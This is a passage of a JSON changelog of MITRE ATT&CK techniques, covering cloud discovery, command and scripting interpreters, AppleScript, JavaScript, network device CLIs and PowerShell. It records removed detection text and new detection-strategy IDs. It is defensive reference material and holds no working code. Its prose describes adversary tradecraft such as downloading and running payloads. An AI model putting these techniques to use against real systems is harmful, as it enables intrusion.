"Suzy Schapperle - Microsoft Azure Red Team",
"Praetorian",
"Thanabodi Phrakhun, I-SECURE",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Identity Provider",
"Office Suite",
"SaaS"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Enumeration\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.791000+00:00\", \"old_value\": \"2025-04-15 22:03:24.903000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0025: Cloud Service (Cloud Service Enumeration)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0402: Detection Strategy for Cloud Service Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-10-01 17:58:26.445000+00:00",
"modified": "2025-10-24 17:49:03.853000+00:00",
"name": "Cloud Storage Object Discovery",
"description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1619",
"external_id": "T1619"
},
{
"source_name": "ListObjectsV2",
"description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html"
},
{
"source_name": "List Blobs",
"description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.",
"url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Regina Elwell",
"Isif Ibrahima, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Storage: Cloud Storage Access\", \"Cloud Storage: Cloud Storage Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.853000+00:00\", \"old_value\": \"2025-04-15 22:04:12.682000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \\nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \\n-Monitor cloud logs for API calls used for file or object enumeration for unusual activity. \"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0010: Cloud Storage (Cloud Storage Access)",
"DS0010: Cloud Storage (Cloud Storage Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0578: Detection Strategy for Cloud Storage Object Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:49.546000+00:00",
"modified": "2025-10-24 17:48:57.520000+00:00",
"name": "Command and Scripting Interpreter",
"description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059",
"external_id": "T1059"
},
{
"source_name": "Remote Shell Execution in Python",
"description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.",
"url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Command History",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
},
{
"source_name": "Powershell Remote Commands",
"description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.",
"url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"IaaS",
"Identity Provider",
"Linux",
"macOS",
"Network Devices",
"Office Suite",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.6",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Process: Process Creation\", \"Process: Process Metadata\", \"Module: Module Load\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.520000+00:00\", \"old_value\": \"2025-04-15 19:58:41.855000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\\n\\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\\n-\\n-If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}",
"previous_version": "2.6",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content",
"M1026: Privileged Account Management",
"M1033: Limit Software Installation",
"M1038: Execution Prevention",
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program",
"M1045: Code Signing",
"M1047: Audit",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0516: Behavioral Detection of Command and Scripting Interpreter Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 14:07:54.329000+00:00",
"modified": "2025-10-24 17:48:39.348000+00:00",
"name": "AppleScript",
"description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/002",
"external_id": "T1059.002"
},
{
"source_name": "Apple AppleScript",
"description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.",
"url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html"
},
{
"source_name": "SentinelOne macOS Red Team",
"description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
"url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
},
{
"source_name": "SentinelOne AppleScript",
"description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.",
"url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/"
},
{
"source_name": "Macro Malware Targets Macs",
"description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Phil Stokes, SentinelOne"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.348000+00:00\", \"old_value\": \"2025-04-15 19:58:22.484000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention",
"M1045: Code Signing"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0414: Detection of AppleScript-Based Execution on macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-23 19:12:24.924000+00:00",
"modified": "2025-10-24 17:48:24.217000+00:00",
"name": "JavaScript",
"description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/007",
"external_id": "T1059.007"
},
{
"source_name": "Apple About Mac Scripting 2016",
"description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"
},
{
"source_name": "MDSec macOS JXA and VSCode",
"description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.",
"url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
},
{
"source_name": "Microsoft JScript 2007",
"description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.",
"url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"
},
{
"source_name": "Microsoft Windows Scripts",
"description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.",
"url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"
},
{
"source_name": "JScrip May 2018",
"description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.",
"url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript"
},
{
"source_name": "NodeJS",
"description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.",
"url": "https://nodejs.org/"
},
{
"source_name": "SentinelOne macOS Red Team",
"description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
"url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
},
{
"source_name": "SpecterOps JXA 2020",
"description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.",
"url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
},
{
"source_name": "Red Canary Silver Sparrow Feb2021",
"description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.",
"url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Cody Thomas, SpecterOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Process: Process Creation\", \"Script: Script Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.217000+00:00\", \"old_value\": \"2025-04-15 22:43:16.394000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n\\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n-\\n-Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content",
"M1038: Execution Prevention",
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0264: Cross-Platform Detection of JavaScript Execution Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-20 00:09:33.072000+00:00",
"modified": "2025-10-24 17:49:02.287000+00:00",
"name": "Network Device CLI",
"description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/008",
"external_id": "T1059.008"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Command History",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
},
{
"source_name": "Cisco Synful Knock Evolution",
"description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
"url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.287000+00:00\", \"old_value\": \"2025-04-16 20:37:18.015000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\\n\\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\\n-\\n-Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0142: Behavioral Detection of CLI Abuse on Network Devices"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 13:48:55.078000+00:00",
"modified": "2025-10-24 17:49:07.660000+00:00",
"name": "PowerShell",
"description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/001",
"external_id": "T1059.001"
},
{
"source_name": "Microsoft PSfromCsharp APR 2014",
